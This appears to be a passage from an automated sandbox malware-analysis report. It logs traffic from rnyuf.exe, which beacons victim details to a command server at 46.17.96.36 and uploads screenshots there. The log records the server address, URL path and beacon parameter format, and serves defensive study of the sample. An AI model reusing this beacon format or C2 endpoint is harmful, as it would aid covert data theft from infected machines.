Aug 29, 2021 22:28:38.523196936 CEST	15534	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:38.666209936 CEST	15604	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.4	49980	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:38.713371992 CEST	15604	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:38.791438103 CEST	15605	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.4	49981	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:39.113107920 CEST	15605	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:39.191286087 CEST	15695	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.4	49982	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:39.115164042 CEST	15606	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:39.115245104 CEST	15606	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:39.115437984 CEST	15616	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:39.115556002 CEST	15619	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:39.148156881 CEST	15622	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:39.148230076 CEST	15624	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:39.148257971 CEST	15630	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:39.148667097 CEST	15635	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:39.148704052 CEST	15639	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:39.148865938 CEST	15644	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:39.181235075 CEST	15647	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:39.286112070 CEST	15714	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.4	49983	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:39.386573076 CEST	15715	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:39.468265057 CEST	15716	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.4	49984	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:39.803431034 CEST	15716	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:39.881725073 CEST	15806	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.4	49985	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:39.803626060 CEST	15717	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6bae687b4eb1df836ed8aa51280f2dcd Host: 46.17.96.36 Content-Length: 111957 Cache-Control: no-cache
Aug 29, 2021 22:28:39.803725004 CEST	15717	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 62 61 65 36 38 37 62 34 65 62 31 64 66 38 33 36 65 64 38 61 61 35 31 32 38 30 66 32 64 63 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6bae687b4eb1df836ed8aa51280f2dcdContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:39.803901911 CEST	15727	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:39.804024935 CEST	15730	OUT	Data Raw: 00 d0 46 e7 fe f9 8f ff 00 88 a3 ec 93 ff 00 d0 46 e7 fe f9 8f ff 00 88 a0 0b 74 55 4f b2 4f ff 00 41 1b 9f fb e6 3f fe 22 8f b2 4f ff 00 41 1b 9f fb e6 3f fe 22 80 2d d1 55 3e c9 3f fd 04 6e 7f ef 98 ff 00 f8 8a 5f b2 4f ff 00 41 1b 9f fb e6 3f Data Ascii: FFtUOOA?"OA?"-U>?n_OA?"-U>?n>?n[}1}1nI#s\|QI#s\|P*'G'@d7?Ed7?E[
Aug 29, 2021 22:28:39.838860989 CEST	15732	OUT	Data Raw: ed ff 00 0a ce d2 bf e4 0f 65 ff 00 5c 13 ff 00 41 15 61 f5 09 ed 94 ac da 7c ed 06 3e 59 a0 fd e0 fc 54 7c c3 f0 06 be 6b 06 9d 49 ca 0f 53 d5 ad 25 08 a9 16 1a d6 15 e7 69 51 ea 0d 79 47 8f fe 12 e9 0b 61 ad f8 96 1b eb d5 b9 54 96 ed a3 62 ac Data Ascii: e\Aa\|>YT\|kIS%iQyGaTbC{_bO_#F}m%lF5JW'.uf\|A(?Z_>;_kGw>GXW'iYi}VldSX{ehGW
Aug 29, 2021 22:28:39.838896990 CEST	15735	OUT	Data Raw: c3 d0 fe 5f 5e d4 d6 d5 3c 69 2a f9 71 f8 7a d6 09 0f 1e 74 97 6a ca 3d f0 0e 6b a6 15 5a bb a4 d5 9b be ae cd 37 f9 fe 27 2c e9 27 65 55 3b a5 6d 15 d3 4b f2 fc 03 c5 92 0b 9d 7f c3 7a 74 5f 35 c7 db 56 e9 94 7f 0a 27 24 9f d7 f2 35 e2 9f 1b bf Data Ascii: _^<iqztj=kZ7','eU;mKzt_5V'$5^\j7?ln$T_?^4atJe9+6<h J(=mGZ:jztX~URY=q0xq~5n9qg,MCl 9[PxS
Aug 29, 2021 22:28:39.839044094 CEST	15750	OUT	Data Raw: fc 3b 7d 15 b7 88 74 b6 d4 26 61 a7 25 d4 46 e5 4e e6 5f 28 38 dd c0 e4 8d b9 e0 57 b3 dd 6a bf 06 2e 72 45 f3 40 c7 bc 51 5d 0f d0 a9 1f a5 78 85 86 89 ab 6a 91 4b 2e 9f a5 5f 5e 47 11 c4 8d 6f 6c f2 04 3e e5 41 c7 e3 45 9e 89 ab 6a 36 72 5d d8 Data Ascii: ;}t&a%FN_(8Wj.rE@Q]xjK._^Gol>AEj6r]WV$gtBNXiIJ2=KG..4y2O,6j&!n>+YTA+zO}owHvd#VIY#=ccjx
Aug 29, 2021 22:28:39.839067936 CEST	15752	OUT	Data Raw: 29 40 a0 04 a5 c5 2d 14 ec 2b 89 8a 05 2d 2f 6a 00 4e 71 46 3d a9 68 14 08 4d 83 d2 93 cb 06 9f 4a 38 a7 64 17 64 7e 57 a1 a4 31 35 4b 9a 70 a3 96 e1 cc ca db 18 76 a3 04 55 9a 31 9e d4 7b 30 e7 2a d2 d5 9d 8b e9 48 62 5a 5c 8c 7c e8 af 45 4f e4 Data Ascii: )@-+-/jNqF=hMJ8dd~W15KpvU1{0*HbZ\\|EOzi.VHZw&\LR){P SRSS(bb%(")1@R )S-10M(LBRKzJpAKIKLBJ(--+- @(R
Aug 29, 2021 22:28:39.839178085 CEST	15755	OUT	Data Raw: bf 65 7d d2 44 ac d9 9d c7 24 0c f7 ab 27 e0 ef 86 17 83 66 4f b7 da 5c 1f d4 d7 63 a5 ff 00 c8 22 cb fe b8 27 fe 82 2b 59 40 fb 38 6e 87 19 af 98 a1 56 a5 59 38 b9 ca fe ac f6 65 4e 11 49 f2 af b8 f3 81 f0 83 c2 e3 ae 9b 31 fa 5c b9 fe b5 e2 fe Data Ascii: e}D$'fO\c"'+Y@8nVY8eNI1\)UZ\|SY!}0x;_VW:W?Y/k9TC+)>:$4(+>ZsT]co}XbmQRei+]
Aug 29, 2021 22:28:39.874212027 CEST	15758	OUT	Data Raw: d3 a4 1f e1 7a 60 99 87 7a 7a dc 38 e8 69 da 9b e8 2b d5 5d 48 8e 95 30 e9 83 51 36 9f 70 a7 ee 1a be 2e dc 77 a9 52 f1 bb d1 ec e9 3d 83 da d5 46 49 b5 98 7f 01 fc a9 a6 27 1d 54 d6 f0 bb 53 d5 69 de 74 2d f7 90 53 fa bc 5e cc 5f 58 92 dd 1c ee Data Ascii: z`zz8i+]H0Q6p.wR=FI'TSit-S^_X;R]G+G1KG01N@~b:GdE,M7Z-:j3Ne5~K*Go2SQs0Qv.6Np)1NRbSpU!1SH)H&)iE8UKbN
Aug 29, 2021 22:28:39.874325991 CEST	15769	OUT	Data Raw: ae 68 cd 2f 67 11 96 0d dc bd db 3f 53 47 da e5 c7 de c7 d0 55 6c d2 d3 e4 8f 60 d8 b0 6e 65 61 cc 8c 7f 1a 69 91 9b ab 13 f5 a8 e8 a3 92 3d 82 ec 95 5c 83 9a e9 6f 6f 1e 2f 86 ad f3 72 f3 ed fc 2b 97 e8 2b 57 58 97 1f 0f a1 8f d6 e4 d7 0e 32 09 Data Ascii: h/g?SGUl`neai=\oo/r++WX2zZRGbJEtk#6y#O4P+.AU_xuA2+}".JZo%-&)@QbHFza!8[[Y'[8&.6!si,d\|t8
Aug 29, 2021 22:28:39.983489990 CEST	15829	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
247	192.168.2.4	49986	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:40.094607115 CEST	15830	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:40.169133902 CEST	15830	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
248	192.168.2.4	49987	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:49.401186943 CEST	15832	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:49.478007078 CEST	15921	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
249	192.168.2.4	49988	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:49.407131910 CEST	15832	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:49.407206059 CEST	15833	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:49.407388926 CEST	15843	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:49.407582045 CEST	15845	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:49.439764023 CEST	15854	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:49.439798117 CEST	15859	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:49.439834118 CEST	15865	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:28:49.439960003 CEST	15871	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:49.472810984 CEST	15884	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
